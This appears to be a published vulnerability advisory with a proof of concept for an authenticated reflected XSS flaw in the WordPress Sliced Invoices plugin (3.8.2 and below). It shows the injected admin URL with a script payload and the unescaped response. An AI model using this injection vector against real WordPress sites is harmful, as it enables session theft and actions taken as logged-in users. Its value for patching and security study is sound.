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# Exploit Title: Wordpress Sliced Invoices <= 3.8.2 Authentificated Reflected XSS Vulnerability  
# Date: 22-10-2019  
# Exploit Author: Lucian Ioan Nitescu  
# Contact: https://twitter.com/LucianNitescu  
# Webiste: https://nitesculucian.github.io  
# Vendor Homepage: https://slicedinvoices.com/  
# Software Link: https://wordpress.org/plugins/sliced-invoices/  
# Version: 3.8.2  
# Tested on: Ubuntu 18.04 / Wordpress 5.3  
  
1. Description:   
  
Wordpress Sliced Invoices plugin with version lower then 3.8.2 is affected by an authentificated Reflected Cross-site scripting (XSS) vulnerability.  
  
2. Proof of Concept:   
  
Reflected Cross-site scripting (XSS)  
- Using an Wordpress user, access < your_target > /wp-admin/admin.php?action=duplicate_quote_invoice&post=%3Cscript%3Ealert(1)%3C%2fscript%3E  
- The response will contain:  
```  
<body id="error-page">  
<p>Creation failed, could not find original invoice or quote: <script>alert(1)</script></p></body>  
</html>  
```